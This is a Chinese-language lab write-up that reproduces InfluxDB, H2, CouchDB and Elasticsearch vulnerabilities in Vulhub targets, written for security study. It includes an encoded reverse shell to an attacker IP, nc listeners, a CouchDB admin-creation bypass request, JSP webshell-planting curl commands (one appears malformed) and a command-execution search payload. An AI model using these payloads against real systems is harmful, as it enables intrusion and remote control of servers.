数据库安全-H2database&Elasticsearch&CouchDB&Influxdb 复现
字数 1345 2025-08-10 10:14:26
数据库安全漏洞复现教学文档
1. InfluxDB 未授权访问漏洞 (CVE-2019-20933)
漏洞描述
InfluxDB 是一款著名的时序数据库,使用 JWT 作为鉴权方式。当用户开启了认证但未设置参数 shared-secret 时,JWT 的认证密钥为空字符串,攻击者可以伪造任意用户身份执行 SQL 语句。
复现步骤
- 环境搭建:使用 Vulhub 靶场环境
- 端口扫描:
- 8086:客户端和服务端交互的 HTTP API
- 8088:用于提供备份和恢复的 RPC 服务
- 漏洞利用:
- 使用 jwt.io 生成 JWT Token(密钥为空字符串)
- 抓取数据包,添加伪造的 JWT Token 发送请求
- 效果验证:
- 成功执行 SQL 查询
- 可执行其他 SQL 语句如查询数据库等
2. H2 Database 未授权访问漏洞
漏洞描述
H2 database 是一款 Java 内存数据库,多用于单元测试。当配置了以下选项时,允许外部用户访问 Web 管理页面且无鉴权:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
复现步骤
- 环境搭建:使用 Vulhub 靶场环境
- 访问管理界面:默认端口 20051
- 漏洞利用:
- 使用 JNDI 注入攻击执行任意命令
- 工具:JNDI-Injection-Exploit
- 反弹 Shell:
# 攻击者监听 nc -lvvp 6666 # 生成 payload java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP - 指定驱动类:
javax.naming.InitialContext
3. CouchDB 权限绕过配合 RCE
3.1 垂直权限绕过 (CVE-2017-12635)
漏洞描述
Apache CouchDB 是一个开源的面向文档的 NoSQL 数据库。存在权限绕过漏洞,可以创建管理员用户。
复现步骤
-
环境搭建:使用 Vulhub 靶场环境
-
正常创建用户失败:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: target:5984 Content-Type: application/json { "type": "user", "name": "vulhub", "roles": ["_admin"], "password": "vulhub" }- 返回 403 错误:
Only _admin may set roles
- 返回 403 错误:
-
绕过方法:发送包含重复 roles 的请求
{ "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" }
3.2 任意命令执行 RCE (CVE-2017-12636)
复现步骤
-
使用 Python 脚本执行攻击:
# 脚本内容见原文 # 主要步骤: # 1. 创建管理员用户 # 2. 配置命令执行 # 3. 触发命令执行 -
反弹 Shell:
# 攻击者监听 nc -lvvp 443
4. ElasticSearch 漏洞
4.1 文件写入漏洞
漏洞描述
利用 ElasticSearch 可以在服务器上写入任意文件,包括 WebShell。
复现步骤
-
环境信息:
- Tomcat 目录:
/usr/local/tomcat - Web 目录:
/usr/local/tomcat/webapps - ElasticSearch 目录:
/usr/share/elasticsearch
- Tomcat 目录:
-
攻击步骤:
# 创建恶意索引文档 curl -XPOST http://127.0.0.1:9200/yz.jsp/yz.jsp/1 -d'{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes(test"}'' # 创建恶意存储库 curl -XPUT 'http://127.0.0.1:9200/_snapshot/yz.jsp' -d '{ "type": "fs", "settings": { "location": "/usr/local/tomcat/webapps/wwwroot/", "compress": false } }' # 存储库验证并创建 curl -XPUT "http://127.0.0.1:9200/_snapshot/yz.jsp/yz.jsp" -d '{ "indices": "yz.jsp", "ignore_unavailable": "true", "include_global_state": false }' -
访问 WebShell:
http://靶机IP:8080/wwwroot/indices/yz.jsp/snapshot-yz.jsp
4.2 命令执行漏洞 (CVE-2014-3120)
复现步骤
-
创建测试数据:
POST /website/blog/ HTTP/1.1 Host: target:9200 Content-Type: application/json { "name": "phithon" } -
执行任意命令:
POST /_search?pretty HTTP/1.1 Host: target:9200 Content-Type: application/json { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();" } } } -
效果验证:响应包中包含命令执行结果
总结
本文档详细介绍了四种数据库的安全漏洞及其复现方法:
- InfluxDB JWT 认证绕过
- H2 Database 未授权访问导致 RCE
- CouchDB 权限绕过配合 RCE
- ElasticSearch 文件写入和命令执行漏洞
每种漏洞都提供了详细的复现步骤和验证方法,可用于安全研究和漏洞防护参考。在实际环境中,应及时更新这些数据库到最新版本,并按照安全最佳实践进行配置。